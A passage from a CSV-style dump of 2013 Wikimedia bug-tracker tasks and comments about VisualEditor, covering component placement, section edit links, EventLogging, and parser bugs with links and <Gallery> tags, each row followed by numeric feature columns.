them.",,,1371415303,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,6.0,3.0,1.0,1.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,10.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,10.0,4.0,1.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,9.0,15.0,4.0,0.0,0.0,0.0,9.0,0.0,3.0,7.0,1.0,1.0,0.0,0.0,0.0,3.925373134328358,0.746268656716418,"I don't see why VisualEditor can't have an entry in MediaWiki extensions. It's a MediaWiki extension. This is a reasonable place to look for it. You can add a note in the description about filing the bugs under a different product, but we certainly don't to lose bugs because people can't figure out where to file them."
241226,VisualEditor bugzilla component should be under MediaWiki extensions,I doubt many will understand the difference between VE and VE backend (the extension?) .I don't. They shouldn't be called the same.,,,1371415095,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,3.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,14.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.793103448275862,0.8275862068965517,I doubt many will understand the difference between VE and VE backend (the extension?) .I don't. They shouldn't be called the same.
241220,VisualEditor bugzilla component should be under MediaWiki extensions,...and Bugzilla bugs should be filed under Bugzilla. Moving.,,,1371408158,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.333333333333333,0.8333333333333334,...and Bugzilla bugs should be filed under Bugzilla. Moving.
241215,VisualEditor bugzilla component should be under MediaWiki extensions,"The VE backend for MediaWiki, once split out, is expected to become an extension on its own (also codewise) soon, but VE itself will stay as a toplevel product.

Plus Bugzilla's three levels (classification, product, component) do not allow having subcomponents under components hence not feasible.",,,1371408122,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,12.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,4.305084745762712,0.8305084745762712,"The VE backend for MediaWiki, once split out, is expected to become an extension on its own (also codewise) soon, but VE itself will stay as a toplevel product.

Plus Bugzilla's three levels (classification, product, component) do not allow having subcomponents under components hence not feasible."
51621,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default","The preference ""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be enabled by default.

More generally, users have the option to use or not to use the VisualEditor at the top of the page, but not at the section level. Some users in the Hebrew Wikipedia complained that it's disruptive, and I agree with them.

Another possibility is to have two section edit links, like it is at the top of the page.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49666",Needs Triage,90.0,1371315060,1372279685.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-oz4sidkwsjedlisknc5h,task_description,invalid,True,c1,2,False,False,True,-3,,0.5,0.0,0.0,0.5,1.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.5,0.0,2.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,1.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,0.5,11.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,10.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,9.5,2.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,3.7610169491525425,0.6802259887005649,"The preference ""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be enabled by default.

More generally, users have the option to use or not to use the VisualEditor at the top of the page, but not at the section level. Some users in the Hebrew Wikipedia complained that it's disruptive, and I agree with them.

Another possibility is to have two section edit links, like it is at the top of the page.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
240344,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default",Thanks. I like the chosen solution.,,,1372542001,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-oz4sidkwsjedlisknc5h,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.875,Thanks. I like the chosen solution.
240338,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default","In the end we've gone with a solution to have both links, as requested, so closing this option on the default as INVALID (the option itself doesn't make any sense given the change in the product design).",,,1372279685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oz4sidkwsjedlisknc5h,task_subcomment,,True,c1,2,True,,,-1,,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.7954545454545454,0.8409090909090909,"In the end we've gone with a solution to have both links, as requested, so closing this option on the default as INVALID (the option itself doesn't make any sense given the change in the product design)."
240332,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default","**brassratgirl** wrote:

Agreed that having two links would be super. Visual editor for section-editing by default is driving me crazy on the English Wikipedia.",,,1372129450,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-oz4sidkwsjedlisknc5h,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,4.0588235294117645,0.8823529411764706,"**brassratgirl** wrote:

Agreed that having two links would be super. Visual editor for section-editing by default is driving me crazy on the English Wikipedia."
51587,Implement the same EventLogging of page edits in wikitext editor as in VisualEditor for comparison purposes,"

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371231960,1371507422.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tmvxleqap5uqab7s5tju,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
238129,Implement the same EventLogging of page edits in wikitext editor as in VisualEditor for comparison purposes,"This was done by Ori in gerrit 69161 for VisualEditor only; if we want to put this into core, we'll want to do that later, but for now marking this as closed.",,,1371507422,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tmvxleqap5uqab7s5tju,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,3.0,0.0,5.0,0.0,8.0,24.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,5.0,24.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4324324324324325,0.8378378378378378,"This was done by Ori in gerrit 69161 for VisualEditor only; if we want to put this into core, we'll want to do that later, but for now marking this as closed."
238124,Implement the same EventLogging of page edits in wikitext editor as in VisualEditor for comparison purposes,"Coordination card on Trello: https://trello.com/c/xCkMEAY0

Reminder: anonymous editors are excluded from logging (we'll instrument the edit funnel for anons in July in preparation for the global launch).",,,1371233136,,PHID-USER-qb5aoo443n6fezsozhv4,True,,,PHID-TASK-tmvxleqap5uqab7s5tju,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,18.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.5,0.8823529411764706,"Coordination card on Trello: URL

Reminder: anonymous editors are excluded from logging (we'll instrument the edit funnel for anons in July in preparation for the global launch)."
51547,Configure VisualEditor for section edit links to go to VisualEditor by default,"

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371155460,1371161579.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-c4vkf2igh4ozkrhmdcdd,task_description,invalid,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
235597,Configure VisualEditor for section edit links to go to VisualEditor by default,Roan implemented this in code rather than as a config of $wgVisualEditorEnableSectionEditLinks; INVLAIDing.,,,1371161579,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-c4vkf2igh4ozkrhmdcdd,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.9375,1.0,Roan implemented this in code rather than as a config of $wgVisualEditorEnableSectionEditLinks; INVLAIDing.
51545,VisualEditor: Switch over to handle mw:WikiLink/Interwiki,"Currently links with mw:WikiLink/Interwiki get alienated

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371150540,1371150585.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ruct6x62hxyefsmpylp6,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.392857142857143,0.6428571428571429,"Currently links with mw:WikiLink/Interwiki get alienated

--------------------------
**Version**: unspecified
**Severity**: normal"
235513,VisualEditor: Switch over to handle mw:WikiLink/Interwiki,"I'm a fool to myself.

*** This bug has been marked as a duplicate of bug 49316 ***",,,1371150585,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ruct6x62hxyefsmpylp6,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,2.68,0.72,"I'm a fool to myself.

*** This bug has been marked as a duplicate of bug 49316 ***"
51540,VisualEditor: valid links are redlinked in the link inspector,"The link inspector shows valid links as red in the autocomplete function. This is potentially very disruptive and confusing for editors, new and old alike, who pattern-match 'red' to 'this page does not exist'.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371145680,1371153385.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-aujnfu5wgjys4i7m3tqa,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,2.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.016129032258065,0.7419354838709677,"The link inspector shows valid links as red in the autocomplete function. This is potentially very disruptive and confusing for editors, new and old alike, who pattern-match 'red' to 'this page does not exist'.

--------------------------
**Version**: unspecified
**Severity**: normal"
235220,VisualEditor: valid links are redlinked in the link inspector,"Yes, this is specifically that it's filtering out redirects in its suggestions (good) but then assuming that if it's not a non-redirect, it doesn't exist (bad). We'll get this fixed.

*** This bug has been marked as a duplicate of bug 49502 ***",,,1371153385,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aujnfu5wgjys4i7m3tqa,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,3.0,8.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.274193548387097,0.7419354838709677,"Yes, this is specifically that it's filtering out redirects in its suggestions (good) but then assuming that if it's not a non-redirect, it doesn't exist (bad). We'll get this fixed.

*** This bug has been marked as a duplicate of bug 49502 ***"
51525,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,"https://en.wikipedia.org/w/index.php?title=User:TheDJ/sandbox&oldid=559712952

Try adding a gallery that was made using <Gallery></Gallery>

Anything following the opening <Gallery> tag seems to be enclosed inside it. Also when saving, the following might apparently occur: https://en.wikipedia.org/w/index.php?title=British_Rail_Class_50&diff=prev&oldid=559199747


Discussion: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=559712784#Spurious_gallery_tags

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371125760,1371254899.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-7xdz6csv454jmjt43l3k,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,18.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,8.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,6.0,0.0,0.0,2.0,4.258064516129032,0.6935483870967742,"URL

Try adding a gallery that was made using <Gallery></Gallery>

Anything following the opening <Gallery> tag seems to be enclosed inside it. Also when saving, the following might apparently occur: URL


Discussion: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
234452,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934067,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
234447,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,https://gerrit.wikimedia.org/r/68727 (Gerrit Change I288f6ec9e4117ce58e2f445e73868937be1654af) | change APPROVED and MERGED [by jenkins-bot],,,1371249813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I288f6ec9e4117ce58e2f445e73868937be1654af) | change APPROVED and MERGED [by jenkins-bot]
234438,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,Related URL: https://gerrit.wikimedia.org/r/68727 (Gerrit Change I288f6ec9e4117ce58e2f445e73868937be1654af),,,1371238814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I288f6ec9e4117ce58e2f445e73868937be1654af)
234429,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,*** Bug 49579 has been marked as a duplicate of this bug. ***,,,1371225610,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49579 has been marked as a duplicate of this bug. ***
234423,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,"Argh, yes, this looks like a Parsoid issue. (I would have thought that all wikitext syntax should be case insensitive?)",,,1371135498,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,True,,,-3,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,8.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.9615384615384616,"Argh, yes, this looks like a Parsoid issue. (I would have thought that all wikitext syntax should be case insensitive?)"
51522,VisualEditor: Mass of extraneous quot and amp marks,"See https://en.wikipedia.org/w/index.php?title=Breast_cancer&diff=558696523&oldid=558695500 and https://en.wikipedia.org/w/index.php?title=Downward_causation&diff=prev&oldid=558735268 for example; I have...no idea what's happening.

--------------------------
**Version**: unspecified
